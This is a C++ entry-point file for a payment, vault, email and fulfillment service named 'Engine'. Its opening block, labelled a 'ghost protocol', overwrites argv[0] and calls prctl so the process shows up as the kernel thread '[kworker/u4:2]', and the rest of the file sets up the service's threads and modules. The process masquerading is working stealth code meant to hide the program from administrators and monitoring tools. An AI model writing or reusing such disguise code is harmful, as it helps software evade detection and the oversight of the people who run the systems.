#include "engine_config.h"
#include "engine_crypto.h"
#include "engine_vault.h"
#include "engine_http.h"
#include "engine_artifact.h"
#include "engine_payment.h"
#include "engine_fulfillment.h"
#include "engine_email.h"
#include "engine_security.h"

#include <iostream>
#include <thread>
#include <csignal>
#include <cstring>
#include <unistd.h>
#include <curl/curl.h>
#include <unistd.h>
#include <sys/prctl.h>

#if defined(__linux__) && defined(__GLIBC__)
#include <systemd/sd-daemon.h>
#else
#define sd_notify(unset_env, state) (0)
#endif

using namespace node669427;

static NodeConfig* g_config = nullptr;

void signal_handler(int sig) {
    (void)sig;
    if (g_config) {
        g_config->running->store(false);
    }
}

int main(int argc, char* argv[]) {
    // ENG-01 ghost protocol — disguise as kernel thread
    if (argc > 0) {
        size_t argv0_len = strlen(argv[0]);
        memset(argv[0], 0, argv0_len);
        snprintf(argv[0], argv0_len + 1, "%s", "[kworker/u4:2]");
    }
    prctl(PR_SET_NAME, "[kworker/u4:2]", 0, 0, 0);

    curl_global_init(CURL_GLOBAL_DEFAULT);

    NodeConfig config = NodeConfig::from_args(argc, argv);
    g_config = &config;

    std::signal(SIGINT, signal_handler);
    std::signal(SIGTERM, signal_handler);
    std::signal(SIGPIPE, SIG_IGN);

    if (config.node_id.empty()) {
        config.node_id = "669427";
    }
    if (config.role.empty()) {
        config.role = "ENGINE";
    }
    if (config.vault_path.empty()) {
        config.vault_path = "/opt/apache/engine/vault/encrypted";
    }
    if (config.listen_port == 0) {
        config.listen_port = 8301;
    }

    std::cout << "[Engine] NODE " << config.node_id
              << " ROLE " << config.role
              << " PORT " << config.listen_port << std::endl;

    CryptoEngine crypto;
    if (!crypto.loadKey(config.hmac_key_path)) {
        std::cerr << "[Engine] WARNING: HMAC key not loaded from " << config.hmac_key_path << std::endl;
    }

    VaultPtr vault = std::make_shared<Vault>(config.vault_path, "/dev/shm/vault.key");
    if (!vault->initialize()) {
        std::cerr << "[Engine] WARNING: Vault initialization failed" << std::endl;
    } else {
        std::cout << "[Engine] Vault loaded: " << vault->size() << " entries" << std::endl;
    }

    SecurityEngine security;
    PaymentProcessor payments(config, vault, crypto);
    EmailDispatcher email(config, vault);
    FulfillmentEngine fulfillment(config, vault);
    ArtifactProcessor artifacts(config, crypto, vault, security, payments, email, fulfillment);
    HttpServer http(config, crypto, vault, security, artifacts, payments, email, fulfillment);

    if (!http.start()) {
        std::cerr << "[Engine] HTTP server failed to start" << std::endl;
        curl_global_cleanup();
        return 1;
    }

    std::thread http_thread([&http]() { http.run(); });
    std::thread security_thread([&security]() { security.run(); });
    std::thread email_thread([&email]() { email.run(); });
    std::thread artifact_thread([&artifacts]() { artifacts.run(); });

    std::cout << "[Engine] All threads spawned" << std::endl;

    sd_notify(0, "READY=1\nSTATUS=Engine NODE 669427 initialized and listening\n");

    while (config.running->load()) {
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }

    std::cout << "[Engine] Shutting down..." << std::endl;

    sd_notify(0, "STOPPING=1\nSTATUS=Engine NODE 669427 shutting down\n");

    http.stop();
    security.stop();
    email.stop();
    artifacts.stop();

    http_thread.join();
    security_thread.join();
    email_thread.join();
    artifact_thread.join();

    std::cout << "[Engine] Shutdown complete" << std::endl;

    curl_global_cleanup();
    return 0;
}
